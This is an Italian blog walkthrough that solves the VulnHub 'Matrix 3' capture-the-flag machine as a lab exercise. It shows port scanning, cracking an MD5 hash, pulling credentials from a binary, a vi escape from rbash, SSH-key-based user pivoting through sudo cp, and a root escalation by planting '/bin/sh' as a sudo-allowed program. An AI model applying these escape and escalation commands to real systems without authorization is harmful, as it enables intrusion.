giovedì 11 luglio 2019

Guida Matrix 3

Guida per la risoluzione della macchina virtuale "Matrix 3" scaricabile dal sito vulnhub.




Lanciamo netdiscover per scoprire l'indirizzo ip e teniamolo d'acconto.

Lanciamo nmap per la solita procedura di presa visione delle porte aperte e scopriamo che:


root@kali:~/Desktop/Matrix3# nmap -sSV -p- matrix3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-11 11:09 EDT
Nmap scan report for matrix3 (matrix3)
Host is up (0.00036s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    SimpleHTTPServer 0.6 (Python 2.7.14)
6464/tcp open  ssh     OpenSSH 7.7 (protocol 2.0)
7331/tcp open  caldav  Radicale calendar and contacts server (Python BaseHTTPServer)
MAC Address: 08:00:27:15:FD:41 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.49 seconds



Porta 80, ssh sulla 6464 e 7331.

Andiamo a vedere la pagina http://matrix3 ed otteniamo il seguente contenuto:


http://matrix3

corrispondente alla solita facciata del web server tipico della serie Matrix di Vulnhub.

Il primo consiglio che possiamo prendere è proprio quello di "seguire il coniglio": se infatti ispezioniamo l'immagine del coniglietto (minuscola al centro della pagina verso il basso), il file immagine si chiama "Matrix_can-show-you-the-door.png".

Per chi non avesse mai giocato anche con le altre macchine virtuali della serie Matrix, occorre conoscere che "Matrix" è anche il nome di una cartella di rete situata proprio in


http://matrix3/Matrix/

E quindi non resta che andare a vedere cosa c'è dentro :-)







Risparmio la fatica a trovare una sottocartella non vuota: l'obiettivo si può raggiungere ad esempio con dei cicli for in bash e l'utilizzo del comando "curl" (se volete maggiori indizi, scrivetemi pure qui nei commenti!). Alla fine siamo riusciti a trovare una sottocartella non vuota, esattamente al percorso:




Scarichiamo senza pensarci due volte il file secret.gz ed analizziamolo.

Sembrerebbe ad un primo approccio che il file sia compresso, ma in realtà si tratta di un banalissimo file ASCII. Il file contiene una coppia a quanto pare user:password, di cui l'user è scritto in chiaro, mentre la password in hash. Per capire di che tipo di hash si tratta, o siamo abituati a riconoscerla ad occhio, oppure ci avvaliamo dell'utilissimo strumento "hash-identifier" di Kali Linux:

secret.gz

Proviamo allora a craccare l'hash tentanto per il tipo MD5 con l'uso del programma "hashcat" (per maggiori informazioni circa il comando da lanciare, consiglio di visionare il seguente link: hashcat ).


hashcat -m 0 "hash_da_craccare" dizionario_da_usare --force (per OpenCL)
L'opzione "-m 0" serve ad indicare che il tipo di hash è MD5, e infatti hash-identifier aveva ragione: siamo riusciti a trovare che "passwd" è la password di admin!



Dopo aver provato con l'ssh senza alcun risultato positivo, mi sono rivolto al servizio che gira sulla porta 7331, quindi mi sono collegato a:

http://matrix3:7331

per scoprire che mi chiede username e password.
Dopo aver inserito admin come username e passwd come password sono entrato in un altro sito.


http://matrix3:7331


Dove al momento sembra non ci siano più indizi per continuare ... ma ci è in soccorso un file utilissimo per capire la struttura dei siti internet, e cioè il mitio "robots.txt"!

Disallow: /data/


... non vogliamo andare a vedere cosa c'è dentro a http://matrix3:7331/data/ ? Ma certo che sì!

Dall'indirizzo http://matrix3:7331/data/data possiamo scaricare questo file, si tratta di un eseguibile:


root@kali:~/Desktop/Matrix3# file data
data: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows


Cerchiamo allora in rete un software per analizzarlo, tipo OllyDbg o IDRA per Windows ... per Kali Linux ho trovato un analizzatore sviluppato proprio dalla NSA (National Security Agency), l'Agenzia di sicurezza informatica nazionale americana, assolutamente fidato!
Si chiama "Ghidra" ed è possibile scaricarlo da questo link.


Una volta lanciato e creato un nuovo progetto, carichiamo il file "data" salvato in precedenza e procediamo all'analisi. In particolare, andiamo a cercare i "label" con cui sono salvate le stringhe testuali per vedere se troviamo qualcosa di interessante, e infatti è così:

output di Ghidra


La penultima stringa contiene esattamente:

guest:7R1n17yN30

Sarà mica la password della SSH?


root@kali:~/Desktop/Matrix3# ssh guest@192.168.0.7 -p 6464
guest@192.168.0.7's password:
Last login: Thu Apr 4 10:24:06 2019 from 192.168.56.103
guest@matrix:~$


Bingo! Siamo connessi al servizio SSH che gira sulla porta 6464 (ricordatevi i risultati di NMAP)

Ahinoi siamo però in una shell "ristretta", cioè con accesso limitato (in particolare siamo in una rbash):

guest@matrix:~$ ls
-rbash: /bin/ls: restricted: cannot specify `/' in command names


Ci sono molti metodi per evadere da una "restricted shell", cerchiamone uno che possa funzionare:

guest@matrix:~$ echo $PATH
/home/guest/prog
guest@matrix:~$ echo /home/guest/prog/*
/home/guest/prog/vi



Sembrerebbe quindi che l'unico comando che il nostro PATH ci riconosce è il programma "vi" situato al percorso


/home/guest/prog


Lanciamo vi e proviamo ad uscire dalla shell ristretta:

Digitiamo il seguente comando in vi:
1) prima i due punti ":"
2) poi !/bin/bash
3) diamo INVIO e...

Voilà:

Shell non ristretta

Adesso però vogliamo avere accesso di root .. come fare?
Questa volta l'elenco dei file con permessi di esecuzione non ci viene molto in aiuto, scopriamo solo che l'user trinity ha permessi di root con il comando "/bin/cp" ma nient'altro ... ok, allora diventiamo Trinity!


Per farlo, la via è stata un pochino arzigogolata: per prima cosa creiamo una chiave ssh pubblica e una chiave ssh privata, diamo quella pubblica a trinity e proviamo a loggarci da guest su trinity via ssh alla porta 6464 ... molto tortuoso, ma funzionante!

Qui di seguito i passaggi:


ssh-keygen (lasciate pure tutto vuoto se volete, a parte il nome del file in cui salvare, per esempio "key")
chmod 777 key.pub (per non avere problemi di permessi)
sudo -u trinity /bin/cp key.pub /home/trinity/.ssh/authorized_keys (con il comando "sudo" possiamo eseguire la copia della chiave come fossimo l'utente trinity)
ssh trinity@127.0.0.1 -i .ssh/key -p 6464 (login su ssh via chiave privata e porta 6464: attenzione che l'IP stavolta si riferisce ovviamente al percorso interno!)



e siamo diventati Trinity :-)

trinity@matrix:~$ whoami
trinity
trinity@matrix:~$ sudo -l
User trinity may run the following commands on matrix:
    (root) NOPASSWD: /home/trinity/oracle



Quindi l'utente Trinity può lanciare il programma "oracle" come se fosse root senza nessuna password richiesta! Ottimo: l'unico svantaggio è che non esiste quel programma situato in quel percorso!

Ma non è affatto uno svantaggio! Possiamo crearne uno noi, di nostro "gusto" (non so se mi spiego) e posizionarlo esattamente lì e chiamarlo "oracle", perché no?


trinity@matrix:~$ echo "/bin/sh" > /home/trinity/oracle
trinity@matrix:~$ chmod 777 oracle
trinity@matrix:~$ ls -la oracle
-rwxrwxrwx 1 trinity trinity 8 Jul 12 20:58 oracle*

trinity@matrix:~$ sudo ./oracle 
sh-4.4# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh-4.4# whoami
root
sh-4.4#
sh-4.4# sudo /bin/bash
root@matrix:/home/trinity#



E troviamo la bandiera finale!


root@matrix:/home# cd /root/
root@matrix:~# cat flag.txt


             ,----------------,              ,---------,
        ,-----------------------,          ,"        ,"|
      ,"                      ,"|        ,"        ,"  |
     +-----------------------+  |      ,"        ,"    |
     |  .-----------------.  |  |     +---------+      |
     |  |                 |  |  |     | -==----'|      |
     |  |  Matrix is      |  |  |     |         |      |
     |  |  compromised    |  |  |/----|`---=    |      |
     |  |  C:\>_reload    |  |  |   ,/|==== ooo |      ;
     |  |                 |  |  |  // |(((( [33]|    ,"
     |  `-----------------'  |," .;'| |((((     |  ,"
     +-----------------------+  ;;  | |         |,"     -morpheus AKA (unknowndevice64)-
        /_)______________(_/  //'   | +---------+
   ___________________________/___  `,
  /  oooooooooooooooo  .o.  oooo /,   \,"-----------
 / ==ooooooooooooooo==.o.  ooo= //   ,`\--{)B     ,"
/_==__==========__==_ooo__ooo=_/'   /___________,"
`-----------------------------'

-[ 7h!5 !5 n07 7h3 3nd, m47r!x w!11 r37urn ]-




FINE!

Spero vi sia piaciuto, lasciatemi dei commenti qui sotto se volete!!

A presto!!






















Nessun commento:

Posta un commento